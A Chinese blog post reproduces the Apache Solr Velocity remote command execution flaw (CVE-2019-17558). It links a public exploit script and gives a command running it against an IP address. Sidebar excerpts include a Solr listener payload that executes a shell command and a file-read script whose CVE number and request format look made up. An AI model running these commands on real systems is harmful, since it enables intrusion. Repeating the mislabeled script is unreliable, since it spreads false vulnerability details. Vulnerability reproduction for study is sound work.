solr 远程命令执行漏洞复现 (CVE-2019-17558)

最新推荐文章于 2024-06-07 19:04:22 发布
最新推荐文章于 2024-06-07 19:04:22 发布
阅读量522 收藏 10
点赞数 10
分类专栏： web安全 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/XXokok/article/details/135549555
版权

solr 远程命令执行漏洞复现 (CVE-2019-17558)

‍

名称: solr 远程命令执行 (CVE-2019-17558)

描述: Apache Velocity是一个基于Java的模板引擎，它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目，旨在确保Web应用程序在表示层和业务逻辑层之间的隔离（即MVC设计模式）。攻击者可借助自定义的Velocity模板功能，利用Velocity-SSTI漏洞在Solr系统上执行任意代码。

‍

影响版本：

Apache Solr 5.0.0版本至8.3.1

工具地址：

https://github.com/jas502n/solr_rce

使用方法：

python2 跟上利用脚本 跟上目标地址 跟上要执行的命令

​python2 solr_rce.py http://123.58.236.76:50847 id​

这个漏洞直接工具梭哈就完了

​image​

‍

梧六柒
关注
  • 10
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
[ vulhub漏洞复现篇 ] solr 远程命令执行（CVE-2019-0193）
qq_51577576的博客
12-08 541
[ vulhub漏洞复现篇 ] solr 远程命令执行（CVE-2019-0193） 此次漏洞出现在Apache Solr的DataImportHandler，该模块是一个可选但常用的模块，用于从数据库和其他源中提取数据。它具有一个功能，其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本，因此攻击者可以通过构造危险的请求，从而造成远程命令执行。
[ vulhub漏洞复现篇 ] solr 远程命令执行 (CVE-2017-12629-RCE)
qq_51577576的博客
12-07 448
[ vulhub漏洞复现篇 ] solr 远程命令执行 (CVE-2017-12629-RCE) Apache Solr 是Apache开发的一个开源的基于Lucene的全文搜索服务器。其集合的配置方法（config路径）可以增加和修改监听器，通过RunExecutableListener执行任意系统命令。
CVE-2019-0193 Apache-Solr via Velocity template RCE.MD
04-12
CVE-2019-0193 Apache-Solr via Velocity template RCE
Apache Tomcat CVE-2019-0232 远程代码执行漏洞 - tdcoming'blog QQ group 90
08-04
背景：近日，ApacheSolr官方团队在最新的安全更新中披露了一则ApacheSolrDeserialization远程代…阅读数 1386557篇文章排名:
solr 远程命令执行 (CVE-2019-17558)
YouthBelief的博客
11-01 4581
solr 远程命令执行 (CVE-2019-17558前言一、solr 远程命令执行 (CVE-2019-17558)0x01 漏洞描述0x02 影响范围0x03 漏洞利用直接用脚本0x04 漏洞修复 前言 Apache Velocity是一个基于Java的模板引擎，它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目，旨在确保Web应用程序在表示层和业务逻辑层之间的隔离（即MVC设计模式）。 一、solr 远程命令执行 (CVE-2019-175
vulfocus复现：Spring Framework 远程命令执行漏洞
woai_zhongguo的博客
07-18 990
vulfocus复现：Spring Framework 远程命令执行漏洞
Solr反序列化远程代码执行漏洞（360训练平台）
FengZi_yu的博客
07-23 295
原理 Apache Solr中的ConfigAPI允许设置一个jmx.serviceUrl，它将创建一个新的JMXConnectorServerFactory，并通过“绑定”操作触发对目标RMI/LDAP服务器的调用。恶意的RMI服务器可以响应任意的对象，这些对象将在Solr端使用java的ObjectInputStream反序列化，这被认为是不安全的。这种类型的漏洞可以利用ysoserial工具。根据目标类路径，攻击者可以使用其中一个“gadget chain”来触发Solr端上的远程代码执行
Apache Solr 远程命令执行漏洞（CVE-2017-12629）
EnerY3的博客
12-12 1133
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}：这是请求的内容，是一个JSON对象，包含一个元素。请求内容: "[{"id":"test"}]"，表示要更新的文档是一个JSON数组，其中只包含一个文档，该文档的ID为"test"。
【vulhub】Apache Solr 远程命令执行漏洞（CVE-2017-12629）复现
qq_45300786的博客
09-15 1256
特征 访问8983端口即可查看到Apache solr的管理页面，无需登录。（可能换端口） 网站title是Solr Admin，图标有点像一朵红色的花 影响版本 Apache Solr 5.5.0到7.0.1版本 漏洞利用 此次7.1.0之前版本总共爆出两个漏洞：XML实体扩展漏洞（XXE）和远程命令执行漏洞（RCE），二者可以连接成利用链，编号均为CVE-2017-12629。 https://paper.seebug.org/425/ 这里我看了下vulhub官方的文档，首先创建一个listener
[Vulfocus解题系列]Apache Solr 远程命令执行漏洞(CVE-2019-0193)
00勇士王子的博客
01-06 851
介绍 Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler，该模块是一个可选但常用的模块，用于从数据库和其他源中提取数据。它具有一个功能，其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本，因此攻击者可以通过构造危险的请求，从而造成远程命令执行。 靶场搭建 进入指定漏洞路径，执行命令 docker-c
solr_exploit:Apache Solr远程代码执行突破（CVE-2019-0193）漏洞利用
03-10
声明 此处提供的漏洞检测方法，文件等内容，均仅限于安全从业者在获得法律授权的情况下使用，目的是检测已授权的服务器的安全性。...文档中只有一个item元素骑士实现只执行1次命令 也可以自己启动网络服务器托
Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)
weixin_44047654的博客
02-20 977
Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)
基于拓扑漏洞分析的网络安全态势感知模型
最新发布
attack2001的专栏
06-07 576
漏洞态势分析是指通过获取网络系统中的漏洞信息、拓扑信息、攻击信息等，分析网络资产可能遭受的安全威胁以及预测攻击者利用漏洞可能发动的攻击，构建拓扑漏洞图，展示网络中可能存在的薄弱环节，以此来评估网络安全状态。在网络安全形势日益恶化的今天，如何快速有效地获取网络系统的安全状况、提高网络安全应对水平、增大网络安全的预警时间，成为网络空间安全领域研究的重要问题。网络漏洞态势感知研究存在的问题是缺乏有效的网络漏洞势数据采集和要素提取方法，使得网络资产漏洞态势的理解和分析计算难以进行。
自学黑客（网络安全）
xv7676的博客
06-07 741
想自学网络安全（黑客技术）首先你得了解什么是网络安全！什么是黑客！网络安全可以基于攻击和防御视角来分类，我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如 Web 安全技术，既有 Web 渗透，也有 Web 防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。
网络安全（补充）
m0_62207482的博客
06-07 330
拒绝服务攻击原理简单，实施容易，但是却难以防范，特别是与Botnet网络结合后，其攻击能力大大提高 SYN Cookie是对TCP服务器端的三次握手协议做一些修改，专门用来防范SYN Flood攻击的一种手段 不是任何利用脚本插入实现攻击的漏洞都被称为XSS，因为还有另一种攻击方式：Injection（脚本注入）。。跨站脚本攻击和脚本注入攻击的区别在于脚本注入攻击会把插入的脚本保存在被修改的远程Web页面里，跨站脚本是临时的，执行后就消失了 时间轮询技术（也可称为“外挂轮询技术”）。时间轮询技术是
网络安全第一课
Ying_hao_kun的博客
06-04 498
两台服务器访问必须知道对方的ip，但是ip太难记了，所以有了域名代替IP ，dns的作用就是解析域名变成ip，有了这个之后，访问其他有域名的网站，就不需要再去记ip了，但是我们一定要记住dns服务器的ip，百度服务器的ip假如是200.1.1.3，那么就必须经过网关才可以访问，也就是访问外网必须经过网关处理，这里其中的原理就暂时先不分享了，网关的本机名一般都是第一个或者最后一个。子网掩码（跟IP地址是情侣，不能单身，有ip必须有子网掩码），在同一局域网中，所有的ip必须在同一网段中才能够进行通信。
网络安全中攻击溯源方法
2301_76786857的博客
05-29 1106
攻击溯源可以帮助用户对攻击放进行锁定放入数据库，可以帮助其他用户进行态势感知，同时可以协调相关组织打击违法犯罪行为，避免下一次的攻击。2、分析攻击特征：通过分析攻击事件的特征，如攻击方式、攻击时间、攻击目标等，来确定攻击类型和攻击者的特点。4、分析攻击工具：通过分析攻击者使用的工具、恶意代码等，确定攻击者的攻击技术和水平，进而锁定攻击者身份。5、建立攻击链路：通过对攻击事件的各个环节进行分析，建立攻击链路，找到攻击者入侵的路径和方法。1、收集证据：收集攻击事件的各种证据，包括日志、网络数据包、磁盘镜像等。
cve-2019-6520编写poc
05-25
CVE-2019-6520是一个Apache Solr中的任意文件读取漏洞。攻击者可以利用该漏洞读取服务器上的任意文件。 下面是一个简单的Python脚本，可以利用该漏洞读取指定文件： ```python import requests url = "http://<target>/solr/+/get" params = { "getParams": { "content": "file:/<path to file>" } } response = requests.get(url, params=params) print(response.text) ``` 将`<target>`替换为目标服务器的IP地址或域名，将`<path to file>`替换为要读取的文件的路径。 例如，要读取`/etc/passwd`文件，可以使用以下命令： ```python import requests url = "http://example.com/solr/+/get" params = { "getParams": { "content": "file:/etc/passwd" } } response = requests.get(url, params=params) print(response.text) ``` 请注意，此脚本仅用于学习和研究目的，不应用于未经授权的攻击。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值